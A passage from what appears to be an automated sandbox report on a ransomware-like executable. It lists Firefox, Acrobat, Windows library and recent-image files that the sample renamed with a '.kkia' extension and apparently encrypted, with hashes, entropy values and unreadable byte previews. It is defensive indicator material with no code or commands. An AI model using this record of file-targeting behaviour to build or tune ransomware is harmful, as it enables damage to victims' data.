,......N.....3.......H....=../~G.C....?1.u.y_.."\p...+...#a\..Q...H..K.fH..@..%......g...1`...;..qJ.:...p.g.....n.2..x....{?E.&.I...0X_.K.I.....s.R..y...t.......J....d....O..).K.......+^.s..X)2..\...f<...h.{........5-....3...C.u....v!.%..ld...kc..;bw)....L.v..>NC..e..<i..Rh....m.j..v*erT..X...m.........._h.gpj...;u.F...{....[.....l..3........NRv..m....N.s...._rS.J.`.o.g.E..S+......Q....O...P.U~...ei.b....`...x.n.P.@/.. ...?1....A0..F.bp."

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\times.json

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	384
Entropy (8bit):	7.337521494589546
Encrypted:	false
SSDEEP:	6:YGlQooQzgirDn8VHA0Twv4+rFztZPshwIqdaYMAhqdNv583fJN3LYPebugcii96Z:YGXHosAyzrDIJAhGNv+BlUPrgcii9a
MD5:	0338262FF65A6593994B617BE8465F8B
SHA1:	1806081F1694A90D24652B3C502C20991685CE35
SHA-256:	D269C0847866911D9C20A5E1C0759951EE0818ACF2503E78592D18267388BBBF
SHA-512:	A6BDC0523398647D93375CCC61CAFAD53F7215D2F2FD9F16BA23735CF6D545AB48BB15E2178145CC0BBA22BE20F36EEF6EC1CB2227EFD2901990B549A6DA20EB
Malicious:	false
Preview:	{"cre...W...iQ...'.D.).../,..6.....-..w..H.7.s uQ.7...\1..T..*H..V.[...P._.p..N%`.s...c...0..m..>Tm/...w..1[a......@...\|.4....(.U.`.G.-@@..r..J.......<...!.8.S....r.a...Ez..n....V...$b.-EFs........)cW...q..8...`.........z>x.....?q...w9....?..<._.....B.).........A7.......1..4.2.^..q.gkP..{!C...}.2dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\webappsstore.sqlite

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	98638
Entropy (8bit):	7.997950473851124
Encrypted:	true
SSDEEP:	3072:FM4b1oevH7gbC0YSQvm5xoyeuJFuAWiAaMq2BHnaj:yK0u0bZoyeuzuWEnu
MD5:	7F62750E965B4A308F67745F51301CCF
SHA1:	359606C0EA00815D6F5DC5A768AC173F9FDF456E
SHA-256:	2C29E8C08E1C6032D89AA0306EE0AC96A9B5070F51B85770C923855E6D675C39
SHA-512:	F21F1EAF35AD04551E1B8A803BF3A76E21C712A893E22D570B4431F8FC4DE2B53453AC3785802CEB40EC1CAF35767FE83F86C289CB48193F123F47D14C7039A5
Malicious:	true
Preview:	SQLit.....W.~p.DAOu...S......J..p..OhzU.1....E...5.&....4.....=.Y6.....=....b:.\.f.....\..c.`X...2@;.J....o..!..-..MJ ....T.6K.....V.7^#].C....2..#g...x.z...$..0g......_4..C..?.Y..\|...V...@......r.7.J.oe.....~..q.T......qz...8.....=..U.-.d.}.3.......7.....4bx8.Tu\|a...y....)...6Wi..5.._..)u...C....G..'.....m..X.......;.b..P...vb..PXM.....&..+K...H...2Xa...,..7..p...?>......Z..Q..Z......w.M...lT.4/YV.gp\|U....~..S.).E}....k.....''....G'.........L0.E..g;n.........?,......q.Fq..2....\6.&w.\..:..U.L.Qm.....&..d5Qh.....B.<q.rL.S.h.k=...M.......D.n.ck?=j...-.2....g.....&.n.......VO...j.0...[..?..n.(E..K'.K......h.?E.YmbZ.....%......Q.NN..l.-..7.....;.wW....\|.2...A...........tQ.../$.......,.e...h.K...V(Z...~3..}...f6"..H......e..P...l.E.\|...S...S~..F.....,.j.....>..8....}.:.{.. .2nG._]...w..".........XV......8.!...I^....]-.q....f..f.@....C...D.K....R..&.~.......m....&3T.....x...~.%..&.....{....7..X{O.7.03.{.....^<....GL.3..R.....wk&..Md....#t..c

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\webappsstore.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994004857961668
Encrypted:	true
SSDEEP:	768:3ZhnISYJ9hQ49n9mtk3VRCWflOUwM2HEkAclfPV22WAfp:JlIrhQ09mmVbVwPucpth
MD5:	A7E59087C2C618999C38452C832D309E
SHA1:	5073721C1E46D7FFD22A99EDD00687419DC0CA5C
SHA-256:	1057907C66F60AF5D48D30A8E1933B81C9405F1D235EEE6C874B68CCB705DFE7
SHA-512:	94380A9C0B925B29AC08C9D6DABDFAAF242137D988164ED90A3401F964C6FCD7A44A0C383AF4826DCB3F8D9B04DBE44EF38AA2CB7181625B613B127876CEFA91
Malicious:	true
Preview:	..-....b.A.].n.6......@...9^Z.K....2.k..$...^.W....L..KY[.. .....o.~.....B...9z.3!K..r#....U.h....Bd...6.2....2.q."....)...<^.f...y3.o.})$.Q.&.w1.[>1...v....\|.U2..b?..6\|~.VtIo .j...2E..fA..!......"....&....y_4.!.w.v1....n....-..9...{..Qv8:.k..%.55?.......yo........1.W..?.N).&.\|.C...[f.H....W...{...we5..{66=.n./..&......,.).<U\|.xo.!.3.......2........+.Y.r...UiF...........o.....q..'..3......Yy....B..j../Z..Q{.......k...vL..,%...7.....z.@.......5..g.~{.....`....c....%../..^.9..ws..~...q..EB...#.7n...\|V=>..b.+....I}E@..K..?..;...O......?.W..-;UE...\|x.T...S...U:\.....fu...U..%ff.0.s....L...d...1O4Wh....3...S_..b.=n..}.Y.b...M...kH$..[..k.>;.w.w...S.:.c=....n.....,g.B..{....hh..w.ld.J_.&...Yx..lZA..j...oL..B?qf...\|z.8.w..../.....,.4J.L6./.hC.v..v.t ...Z....].u.I.}....U.k..+.<...p.......*.P}Cj..<a.;._..D(...<=I........r.H'.\|.L..c...f..v.I<.xq.!..F...V.jj.~....(..g.v.}v..L.9.C.\|r#....8.37P.c/9S.3.v...g..p....-.....^.Q.X..5t9)4....M

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\dtbqpus9.default\times.json

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	381
Entropy (8bit):	7.35815847517401
Encrypted:	false
SSDEEP:	6:n0pfcfq2q2vxwLmj/Q3AtbO1H2H3KjiC9pYOS2jFUUCM9OKmPebugcii96Z:n0pUxVvxx/QQtb+E3CiCA23oKmPrgciD
MD5:	C6ECB83A85F48D3E36F1841CDBB0BBE7
SHA1:	2D82D4A7FA30F4DDE483775E192AC6B37D83C377
SHA-256:	D1F147B44CEC3515AE23F64DEFD035AF5CACC8D19E2B81CD8FDABC32D17E86F4
SHA-512:	A5DE8AFE9F71106295217666BA0C95AFD1859012F04BD2BDCEF242409FAB22CC8FBCEC7C6612461F75EC417C1CDC5D6F8F62183E7290E0852D83E9AE36E00CA5
Malicious:	false
Preview:	{."cr'....:.<...`.......r.>..!..7<..'.@..."E.^.$u.n.8.m7s..H.......a...s..I]=.2R%...Q......Y..M..yT...e..<i2.'........?~*.lEJ.?3..WA..EI.+.\|....k0..{........%.H.k.....6..zl...qk..s5..U..?.&..t..{.....D`........[.n..........K..7..:.3......A<...k.-..zA..........)....b...[.^>.d..?dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\.curlrc.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.2356208648707305
Encrypted:	false
SSDEEP:	6:KWnulnFoZTI4DqCPwOgV5vTt1Psp2jDyJv0ptNhsJzPebugcii96Z:Nnl04DJhspap2jOKptN6hPrgcii9a
MD5:	E6D3B61554DE616D3756B90450E8508E
SHA1:	4D323079CC22A6BFBD3708A2AF222DC19BBD639F
SHA-256:	54361DE8AB0281393462E12E1EF71B8C25998DD044EBD28871ABE9301F8ED770
SHA-512:	6C74AEF04F499616D7A3F8ABB7643F04156C14C58753C14EC1596D74DBCB034298EF3DA2D430D54CA08E946B23A5CA945AA9E0FA12B2E7EE7AB295F67648A60D
Malicious:	false
Preview:	insec.R..h..z53a.f.i.O,...uRlF0Y[.....Ok..K.N...p`T\|...........H.s_..p.z;....\...mw..H..2...Yn.g..t;[....5.TY,....-._...$!^w.!....5.....l..... s....@......\"f...}.@..?...D...J~j.$..w.%..xM..CRP,...].....}........D%.Q-...8.NF.U.....\|'......C-.YdYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Adobe\Acrobat\DC\Security\addressbook.acrodata.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	14790
Entropy (8bit):	7.985684544503126
Encrypted:	false
SSDEEP:	384:tFnN++vcsqNyaSP6ABYeqMCHS58LLzLO/:tFnXvUNytP60IY8zLo
MD5:	B1365887CD5C5517BC66B623E9BCC63C
SHA1:	F151F484DEEB0108216C43A0E90F28FDFA4C50B0
SHA-256:	3112337A1F5CCB1FE729E66BA5A2B149CEC2F54AE996B68194CF659BDA6E7AA8
SHA-512:	B7DD080E2BC9D6BBFD01BEA6E5B4BC1CB72F4F4046022D319AD2066909D1D63A7A137A427BA9F7CBE3C7FC511E5D5F1FD290DB9C58B272CB0E92920DAD9185FA
Malicious:	false
Preview:	%PPKL\.....k....<.\$sX.a....{...Z3{..@n..;.v/....j.......U......".\|......X.1i..K...<f#......-Y....oP..8SxX.br(..SH.O..J}.77...=[.>..\|.c.Yb.......F.$._.`.......N.%.!u.;..0HUr....^T.#.t%..3..n7G......7..@..&Z.M...^...6np.f.H.T.t^.......e...g.@.0......R=5....y...i.6W.Z.!.FN....OF.$...,.i..S.8.IE..S..X.x)\./;..@.D^PC0+...... ....N&...M..,.....a......a.pu..Wu.L.....%0.....c.........J..........n.b...._.r.N.b....1...8.@.B?..4q..1D>....D6.W..S.@..\.....&...(=.._...~.w.t..?.r)?R7......h.J^8.u.aV.y..._.-Sn.a.\|f..q:.9~.u..\....D"yL..zK;.D..z..}._,....."..~...(..0y..`j<..p_...Cn.....5.1Xw..=..\......>.s.&c.V....=}...?.......Nm.@?..[..$.....z.T....z.?p.U.vp...`.....w....@..T........5}...m.B....{_.E.W.H[...}.r/b^...]Qz3^...0.x.....M...2lW(:.....a..>.ad[.w.\lh.........e.......2..t>pmx..u...dO..g.......mF\|3.BB`t.b.M....Z.......3.9....%..,,.a.J......3.......*.5B..8.s6.!(.5..c..s1....7..o.....r.2.E.....h... .\V..H.X.Jl.R.^...r:W."Z..6.D......L^S.9n..i..

C:\Users\user\Application Data\Adobe\Acrobat\DC\TMDocs.sav.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.305728598572487
Encrypted:	false
SSDEEP:	6:58ZJHPBhv78VduM5RzYRdHtGDL/LaW0+gv8/f59BnXRwVH251x6Lhr4/+MJEPebT:5SPv78vj8zGDL/LaegIfjRX3PYu/kPrS
MD5:	7C48EE7B086FD165B28F1A09372E568B
SHA1:	E3A4630163487A5953512333D545958D45E49CCC
SHA-256:	92944E4FFE1AB255407C13347FF18D983EEB3D84C6AFE826860EA2072C3B8BEF
SHA-512:	42A3193F8A6C9FBD462B098D919CBA6A138CCB7FC45B6ABB98C98506D2F5628260FBCBE59475DB6A36A47B2581D3E3B1B14DC9DE5970B5B17EC5B84403FA7598
Malicious:	false
Preview:	%PDFT...KK..c....n..<g.a..J....q..t.Z.U]..W.%....XQsY.\|....@,%z.z.k.N..J.....}4.PQ[nQ....l.#z.{.sD...g\..k.@0...].xD...Y .~.O)..~...~.}.IP..f...g7..........ZY*.(..w.;.......\.7H....23..U..{.1i\|....~....<.4i;.{!....F.Qr\|.-...L...L.,..1....5....U.sX............'.lr.v...W..../6RdYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Adobe\Acrobat\DC\TMGrpPrm.sav.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.294363994486491
Encrypted:	false
SSDEEP:	12:KBAoJ07MC9V44PBAy4FKdiUifM9QcPrgcii9a:KBLJFUlPBAb5nU1kbD
MD5:	A94CE517932D405203F3D030C4AA194C
SHA1:	A056D96AD6292C3598704593F79C86230533DB37
SHA-256:	C881E6094FF6C3FC040DBB9E2AD58B9D38E1B9AAF414BA5E85469FF27F25AA30
SHA-512:	C2E093570B48576749488648DABF77B1A26EE2D1D33E89305000943950D2BA158238B713F76C1C0DF9F560ECD816F367499A8ED8C616074396B47F91AB9A06AF
Malicious:	false
Preview:	%PDFTDb...3".....\.M.d...j.}....?..]..9U..p......(.&2.eB ..-S..^F......y.5u.i..~.9....EQ2?wi.S{Q...k.)x!..1`...DmT.l.......q...N..KA.J3U..K.4&..."....W...'.>}.LvO.....?u.s%?Q"%.^9..u.m...y...Bt.=[.@...w..:#..]=..#...WY.#....L......_.M...)..>3x.iU0'`'^Gd....2..dH ..$..F)..`{..5.KPH.N......4)..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Microsoft\Windows\Libraries\CameraRoll.library-ms.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1352
Entropy (8bit):	7.851379724496103
Encrypted:	false
SSDEEP:	24:l2lSz8INSAQz7Ewkib/vYQoE0K+NfVs12FFSSGgLKfRApMYGg1+GmsNfz+kbD:ks8lz7E4YHE0DNf2127CgmfRAGGvNz7D
MD5:	ADCD7558F6F3AE92662E9869B61D9188
SHA1:	72E97F96CA30C84E80317D17EB881EF3440CF50D
SHA-256:	3D6D49C3D4FE929CB82672985C7E1C4B0CCD88BBB200F9C8CE822463F7137AFF
SHA-512:	A8A417B8999970844D7F75C19A8BE81C084FF283C69602B80CB9C1EDC2C5A9EB019F569BFAE64C89F387C7A95EAC67237D2946B48A23F32A8D399AC8865EBCE1
Malicious:	false
Preview:	<?xml....!...;......"..G.8..Z.%...C.Z..Pz...iF....&.f.0PT.P.1.....a...8...qchy.?..L.M....L...Z8....dx..a\|..c...`=.N..>.O<X...U.]...Oz.@..Y.B.1..W1.ru\|...Epo..TL..H.x.#..x 7\.-/.....l......3....&.{.u...(...Sy.n@a...X.Z@..P.JV..E..T....a.....o.N.2...S..(J..W..3.$......V..8..u8.e....?.W.<S.l....My..!W....S.....y..E?..CD`...3.Lb.~.u..^HM8!.U..oC.=..c....p....R8.4.......N..V^........?.d..6......a. ....H3. .E....&..T.e..WQ"..I.W..~{..(..b..T..R.Cj...ZjU..5.i.pjY..[.ia\|.z.K..,..4.Z.>..Q....CA.a.k..]...X=.TQF.f#..>.u.bR.....q.~J0.[+S.@.....?.b8..C\|Yc...S8..w...g....... ..!Mf......).g.u\Y..`....\|-A.;VR.i..G...?.Dc.~.....c.Cr.P.o.....!.$Z..7r....p.0...AL/8bPP...v.f5..~........"... .E.X..n.Xz=^......j...\..#..J.J.b./.C....W..1....;..'2e..h~V.xj.'[..q...e.O....N.P9..j..X..g.8.0 .w.(.,....7........~h2.\b......Y..r....m..zp.........0..D'.?.c.......%R......J ..#,.t.>..>./!.~c..WK....\|.i.W6...l.G..h~..N...t.6$...>4.`..3v.Wu...\|.....Nv.!...;...{.-oX

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Documents.library-ms.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2420
Entropy (8bit):	7.908844956650947
Encrypted:	false
SSDEEP:	48:NWoZIPxpFknUt7AwXqqc3VQsNRETQ/MLt+nlf5O7FgnwD:NWo2LCUt0wM3OjeZlfpns
MD5:	5F21DE735AE0E845C753FF8693C3D55D
SHA1:	D03BD569C823E5925991C467D930A9357B6E81BC
SHA-256:	06EB3B97AC8A87AE5CDAB2896C3F888887DBA78A9DC267890F2E554F5BB9009A
SHA-512:	7E6F5647F467CC007B4E3B7D08A75E06BD7D1000EC847CF5DAAF2E5CAD8D484D7CEA6ED15E82A489E7572B2CB552BCF9B5B8ACA8F75AD157AD67ABC1E2505D14
Malicious:	false
Preview:	<?xml...Q .do -j)Y..j........g.D.[..x..'...G0y^+g.oE-.Tr4'.)..~.h.....{".?u....;..+..7zo_....)...n\.S..oi%..R.=....uj...>...t.zG..R...w:.G.$n..Nc@...{.:?...^.{......"7..<..#S.t.?..~.ulg.KY....R.Ss..r...t.....,\x..........s..D.....4Y.8.."..Q...4.WQ.):&.)....]...ME.`......[(Y..&Q..-q..q..i...p.}..$M.PAa.+k..^d.Z.2.-.phi.F...;..x/.4../}.n.>4l<...(.KA.!..,q.....c...6QF..\.+El.).8...sXL...z'...X.......~\| .6...J.-5...y................<T.p8.,UU..r..m1,0w$....Z...V...kV@.?.w..w...Eq9E.^.1.Ss}........^..o....(s.....k..W.....'...d....=.iJ.#.=4..4q..w.BT'....u.&<.d_..@..h.!x2..T..Z....B.x.X..pMFq!m..W....}..r.....&..I...G.mp...!....k.,p&T]k...n..6.Z..pC.o...E..UZ..&.Z....K.r....H].....lT$&....<7P...2.x.W...C..(...mh.4 !........[.R...9.0p/.0$\|.\o.e6.Hafwm`....A.Y.U....7.F..9.L ^..{.%8!.D.?..j..'...J.I.......w.I2..V..~.:j.......+....?.4.W\.......x.H.!.F@wNH.5..z(.4\.,.>.`..$....../.2.X..^,w.6.@..7t...T..Q.1..8w.["...<.E..\Ly.o.K.....q..bd....S...e...^..

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Music.library-ms.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2377
Entropy (8bit):	7.9097907772129155
Encrypted:	false
SSDEEP:	48:EHIP7ucxfLTAYtcKv5KbNf1wkqbCLrDpHb6sQ4C07DuBUyQF3zVD:EoP7JJAYtX5cR1wfCrDJb6x4P7qBpwx
MD5:	2F5F60AA8D7B9F7C07E4DD30A97AF550
SHA1:	C07748202326173036F5FA7E7E23892013737169
SHA-256:	5055920F6D5B0009245B7C414FADF2CF35ACA94C7C4F4B84742F84BC2D462E9A
SHA-512:	A435841E4E3E64817F971273506A21622AEFA85CAFFD10E7AEE1E267008FACD394B1FBC82FDBC0AE5DE1CB66B369EA0408E15A2C4FADE0BABB7D341C046362EF
Malicious:	false
Preview:	<?xml.i....b..I...,V..l.V..B31.f........U/`.i&`u.....HcY0..W.Jo4...,Z..(......Z.W.N..k`P8....jJ.\|a....I....:...P..2z..Rv.....V.........[.....H...m.j..EP..f=..q+.Zt7.}=.{a./.<....jrj...fS;.....Wa..o.W2.'"y.rF....!y......5.Z.X..........H....n2y...71:)...;.....x..}...MW....)'iQdR.2E..\..j....V...Oz%s.....L.Y]".J....^n...5..Z2...\|..H.}.e.."\e.....2...WV.c..(.B...a....Ig\wI.X.0oy.G5..D.<q........... ."J....f..O..^.8R.k..f.+.L...`3...Yt.I.Pd..#....u.Hd...uf}?..7.......tT.....>.f.E?@.$Z&k.I..~6...)%Y.:.A<..{b.r.4OZ..y...p..K......D.......m.f.5.9.%.......:..........".Qn..d..2.u]..x..fg.c........e\n..6+.....J.4..R.._.W<.\..;.-...KC.g3.:..n....Zg(...D..35B.a......U6D...t....j...Y/.d.f..j Cu.SFH.".....X....!-.x.B..7..[.G..e^.....`@..E......F..F.....62..I,...cz&.x.h~......#.e\2.."bT.........H.....`..BP.A9W..D.c!....B 6.a....s@8.g..{ax.....g.g.p.W?..O.=.`6._...j.>...af.%.=I.{..c.H./....+g..\|..~...Vi..%..f(.....@.....Y+.QU.......o.

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Pictures.library-ms.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2394
Entropy (8bit):	7.929114271328653
Encrypted:	false
SSDEEP:	48:gzdh82qk8YMIjb5ooXCLEwlL0Xu0sTU9bZJY7kHeqQI0WHase8fW7UrUKIaD:U8n4hPyPLHlEu0EUfKYx00aDyW7aD
MD5:	6D7EB49363D9422A9E01A9048F38CE5B
SHA1:	4F3169BC285DF4417E2023C3F1205B875E5B3685
SHA-256:	E2D52EF11291FA7AB65A719BC26945F789D049E497E3B698BB4E7AC91E35B903
SHA-512:	8A8ABFAEF803339CABBBB758E9B9E3ACC6C2475CB4C09D4EFCB9BB1D82237210E3B712E3C7CBC652B5946FFC2A3ABE4A52BE90937DB3B13194B211962B144193
Malicious:	false
Preview:	<?xml]......K.......p\|.W.a.....>.W..._......N...5.%....Jz..z..n~6.)W.....f..J........"kU. .i....I&c.%3$..J.5...A...]4.\>..W.c...D?...&.._.I.6j..<QZ-a..z._G.\l....::...[.V....5R..<`.25^....~~..c.k.A..\.Gk..)h..J...).^b..r..,..+xt......23.G2C...L.G.2v...+.J..m\|.6.:>..q.o.$.....t...m.u....4..F......%<........Z..&..{>....pd..=...-.H.@...X.?.l...1!,..5.......N..Bb...!f..M.f3..`......o1Kj......G.@.i$7C%......F........G.T.z........q.lT...oZ1F.".~e.w'./&.....vB...(.q. :....Hk.C..9...jMV..y9.gD./T.#p%..q.(...R..z".p..MA{.C!.._.@..W.??u..C=)F..[Q...KA7Z..B+..('...Qd....5..l...{.....7:.9......H....gp...r..V<l.=hN>...f.yX.......R.bV.\|38...U....6.S....%2.{.]4.F...aZ...{......gW...U.\|...&X....y0N6..W=..F\|%.j..T.u-...W..B.;;'4....8nO...Q..1d&.....S..Zz....n.a.O.+...,([".WI...D.c..q.7qsw\(..0.U..R...C.\..HH....[.......S.s.......H.5.....-.4$/....>.u.~eD.h...2.\|J...)p.s...n.N.T.....8.YF..D......5{Lr.v...H..D...........f)...{....V.\CA...{.

C:\Users\user\Application Data\Microsoft\Windows\Libraries\SavedPictures.library-ms.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	7.849476578278123
Encrypted:	false
SSDEEP:	24:aeAj6cNXbpUeIeYsHpHkA3S7p//EdmJcUNMimsHF7TLhtrKgJJXs5kbD:yucNLKeIeXHkmYOmeimY3LhpKEXpD
MD5:	E1DA3F957D2376384DF21B5DB354B24F
SHA1:	5F67D56ED5170D504EE9A5F8BB85AC16C8A0D1BB
SHA-256:	73759E8E4AC6DDE8F76D1C07870DC93C37ACA4B4453EB934085C585EDDB849AC
SHA-512:	A63CEB591A4C0A5B49CF3C7B6F1342B9A1F725B0F41C4EE17B02278EF1F05070906E3CA795BEFA3B15B06D105DBED59D13452C15711E29EE20EBE833766BA561
Malicious:	false
Preview:	<?xml....=..7...I'..$........./...#..........................B0\|a...;.HUb....'PWw..MRyF...`r..Nn.;V..."............ N.%.9v...?r..\|.'S.n...L...........!.2....Ox.-6. .(..V.3.....Z.>>.i,$...T..#.y..E.L....5...lJ.........C\|.{?N.Hf.O._\|4{_.7.fan.D(...}..$).ta...f.....U....Y......\+xO.P#.5.Ne.7F..8r].W..p.h..u/bN0,.`...5(....).N.v."z..F..y.......'/w...0...sW]^.\.E.")....4."w..p......'`...n.b.....)..[...,#.m...S..9.+...K..#.....=.BG.....5J.J...M...W.K6......e....8.9.gPf..Hi.....x.4T...8Um<../:isJX........B,5.J..C...>.9....}.].1E.G..yP......`.}N.....$.....].a......'........Z.9u.`.=.n......V,.n.zx..U..0F..m.eu'Iy..P..k`^OH.D.8eo...^L.82I..".j...~&*....?d!...g.!.p..O.a....><g.2f.....0(...u.v...y...M.X......0{.....`...V\y.l.......N...~E.z..i.6Y.....\..\%-.\V.)oP~I..p.8....#)....p..Dq.)I...E......g..S8..J~...!.}.t.,i..,.+....h....Eo...qMg....b..4..../Y.~uy;......S....s..`.9.....O.._5I.xZU...K..q....W..Ot\Y;}oC...ua...NP.v..y]k...^.'.o6.d.W.S.

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Videos.library-ms.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2405
Entropy (8bit):	7.918167195150724
Encrypted:	false
SSDEEP:	48:uNdTmeX6D2VCF3NvM04zcqNXPIin7+N2rx+YRD3BnuTBINzb16TuQSxEQD:YqeW2VCF378I5krxjrRsTuzxZ
MD5:	2BF7630FC63FAE338E7A884FD39E98A1
SHA1:	D8B4C29306BD1C1B1C5A87FF46D75EA7B872858E
SHA-256:	890C49A3E37D34C74FFCD3F913C17408749B95C654426D9AF35771E101AD57A7
SHA-512:	6ECB1134BAB872B0686C34175AE6C9BF50EDE71DCB00897BF482B42BE40CC513032EE70103E2656F4734FF2A60F0FDCC478D2C339862790E9929D13E49E6EBF4
Malicious:	false
Preview:	<?xmlg.............c.X.K__R.N..4...'.K..wo.U.....M.~..0.r.R9...L.....ImYsM....."..e.....N...cE.u.ZF...0.0R..{g.....{.5f~Z...<,.....I.;..!..D..~QdRa...V7.U$b.O9...I..M...B..../.!.$T$....=.T......e..P.map~#1aW..<GL..1.:.w....<..#6...{.{.:..+..8.+Kf..G.........w.A9?..1.m'+...] ..J.l%.g......Pe.z...#......LT.ff...r.. h.X=.2..7....)V_...._..QG_......i..La&.+).J.'..i.>i.a+..... .......U?!..0..Nu...Lz.e.u..!.E.4(.fh...x.~.pf..]....M~..L...CP.K.h...L.3.t.O%7.....A..%.c..BQ...n...`.R..V.#p7..%.lu...=...@..,..Bc.82.5........%m..Z<m.?.\|I.+....`y...1.^I..=Js9:...3..!.......v...N.s..:........p..>..g.v....WJZ.k...~.y.c.\|~....N.!.O.. ..H.Qq..x..mw..X...1.6..h.h..`...v%.<...~2.{.Um....~.r%...N~..L.:.J..L.&...t...........2.j.$y.'-J..@6.....B4....j..%.....;J..1..... .....R..E 8..;.....-_J.>.,.._.j........^.5J{".Rr.V. ^..3B.6$.Z,.K.3.1'....R.Z..}....=...\....u.\|....d.........z!..Q...B_._.,W.m..H\n..\..uT..=.....?....i.1..{ ..;.F.Q...k.i.........x

C:\Users\user\Application Data\Microsoft\Windows\Recent\ANHVHMGQLM.png.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841367399333282
Encrypted:	false
SSDEEP:	24:xtWHaUV7OCfYX11x06uEeFprWe+naC3B/tOkC6RcoF2I2e21JGfZjDoGkbD:xcbxOCQFZ8Fprcj2868ke2sojD
MD5:	6D78BC333032B0E6A01721A080195677
SHA1:	0938806E0B6692769414CA6085EBD68251A1F9D1
SHA-256:	B1428A673F151F079E0AB9CBFF228E164368B9AB73FEF32DCE4973CE44E6C298
SHA-512:	DC2C1518B3B52525DAD494462EDD2CCE634A1DA759FCA8978F14003B668688197EA9732E0F29524D95962659EFB040D590B21EA047B7673ECD9E2DC0DB8D0613
Malicious:	false
Preview:	ANHVHY.}...rf..$...........{Mc.%.A:.b(.9-e.j......l.h..<.u.........(KW.b...%.-.$.\...D%dY.\...U.....o!...G>....K.i...7,...-.......zg.O9.H\......%<.s.....ZV<..E...J....v.Zet.\|...u7^...T.V....x..R..p...L.\|z....g&....PBIE.....G.;..{..v.....Pi.j..?.s....P.........7...b.].&...../....-.<.\|.-9.q2<.,w8...Q..t.R...V..)..x.q...B..F..R.E.o...#.D.$..NP.'.&..uUVH...zxz..v...O..mB......Ry...Y.:j~\|9..~k.`.sq~........1.KQ.M....`.4...........gY..?..>..Q......K....w~.....Jg.RuN.{\|..e).L/....A.......K(.......@j..W......ya....<1R}....`P...:~U..:.%.'T.7C.+,R............/n.Z....."M.^-8.nu...'.-....J.02...,P1.Y.eR. x.T.0...H.q...... .BF1F.5.....Q..._d.D..>.../".8C.f}....8.........h..$.$.cJ\|..y.!....qC%.....1.....VX.yCu..j8J.. /..Wh.....rn...DL..."...xB.....8...1)....{#6"..(3..x...#..! 'KjQ..Fy9b..Ac..3.b4...A.#.eh.N..J[S.@.....m.zN..X.\|.S..ym=......^.n5,.0s....Ej....nD.....&.....i.g...k..x\|. .....u.<...R ....~4.OS...4.,EL..y.........=..'~.#C..

C:\Users\user\Application Data\Microsoft\Windows\Recent\AZTRJHKCVR.jpg.kkia (copy)
